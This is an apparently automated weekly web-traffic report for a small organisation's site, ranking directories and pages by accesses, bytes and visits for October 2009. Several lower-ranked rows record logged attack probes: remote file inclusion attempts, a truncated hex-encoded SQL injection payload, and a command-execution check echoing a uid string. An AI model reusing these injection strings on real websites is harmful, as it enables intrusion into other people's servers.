Directories Report

Week of 10/18/2009 to 10/24/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 26,898 58.67 356,900,720 63.03 848 15.56
2 [ /season] 10,805 23.57 62,293,889 11.00 1,407 25.81
3 [ /webstats] 2,623 5.72 7,415,144 1.31 658 12.07
4 [ /Templates] 2,172 4.74 1,693,131 0.30 759 13.92
5 / 1,356 2.96 25,087,764 4.43 962 17.65
6 [ /stats] 953 2.08 2,198,105 0.39 22 0.40
7 [ /pdfs] 385 0.84 97,611,170 17.24 259 4.75
8 /SASregistration.htm 98 0.21 3,579,910 0.63 94 1.72
9 /index.htm 97 0.21 2,081,024 0.37 96 1.76
10 /SAScontact.htm 94 0.21 1,487,846 0.26 90 1.65
11 [ /galleries] 52 0.11 43,567 0.01 14 0.26
12 /SASfosas.htm 51 0.11 1,097,745 0.19 50 0.92
13 /SASabout.htm 49 0.11 943,722 0.17 49 0.90
14 /SASgallery.htm 47 0.10 950,610 0.17 47 0.86
15 /SASscholarship.htm 35 0.08 499,763 0.09 35 0.64
16 /SASlinks.htm 31 0.07 392,692 0.07 31 0.57
17 /SASnewsletter.htm 30 0.07 443,831 0.08 30 0.55
18 [ /?_zb_path=..] 9 0.02 217,818 0.04 0 0.00
19 [ //?view=page&pagename=http:] 7 0.02 169,366 0.03 0 0.00
20 /?p=40148 5 0.01 120,974 0.02 0 0.00
21 [ ///?_zb_path=http:] 4 0.01 96,808 0.02 0 0.00
22 /?> 4 0.01 24,190 0.00 0 0.00
23 [ ////?_zb_path=http:] 3 0.01 72,606 0.01 0 0.00
24 [ //?_zb_path=http:] 3 0.01 72,606 0.01 0 0.00
25 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
3 0.01 72,570 0.01 0 0.00
26 [ /?_SERVER[DOCUMENT_ROOT]=http:] 3 0.01 72,582 0.01 0 0.00
27 /?citysearch_profile_view=1&profile_id=41271045 3 0.01 72,570 0.01 0 0.00
28 [ /?id=http:] 3 0.01 48,392 0.01 0 0.00
29 [ //?sIncPath=http:] 2 0.00 48,404 0.01 0 0.00
30 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
2 0.00 48,380 0.01 0 0.00
31 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
2 0.00 24,190 0.00 0 0.00
32 /?leisurelog.com 2 0.00 48,392 0.01 0 0.00
33 [ /?page=http:] 2 0.00 47,098 0.01 0 0.00
34 /?';DECLARE 1 0.00 24,190 0.00 0 0.00
35 /?;DECLARE 1 0.00 24,190 0.00 0 0.00
36 [ /?DOCUMENT_ROOT=http:] 1 0.00 24,202 0.00 0 0.00
37 [ /?custompluginfile[]http:] 1 0.00 24,202 0.00 0 0.00
38 /?feed=rss2 1 0.00 24,190 0.00 0 0.00
39 /?foiffs=in100fweg 1 0.00 24,190 0.00 0 0.00
40 /?menu_frame.html 1 0.00 24,190 0.00 0 0.00
41 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,190 0.00 0 0.00
42 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing) ?
1 0.00 24,190 0.00 0 0.00
43 /?tp=1 1 0.00 24,190 0.00 0 0.00
44 [ /?view=page&pagename=http:] 1 0.00 24,202 0.00 0 0.00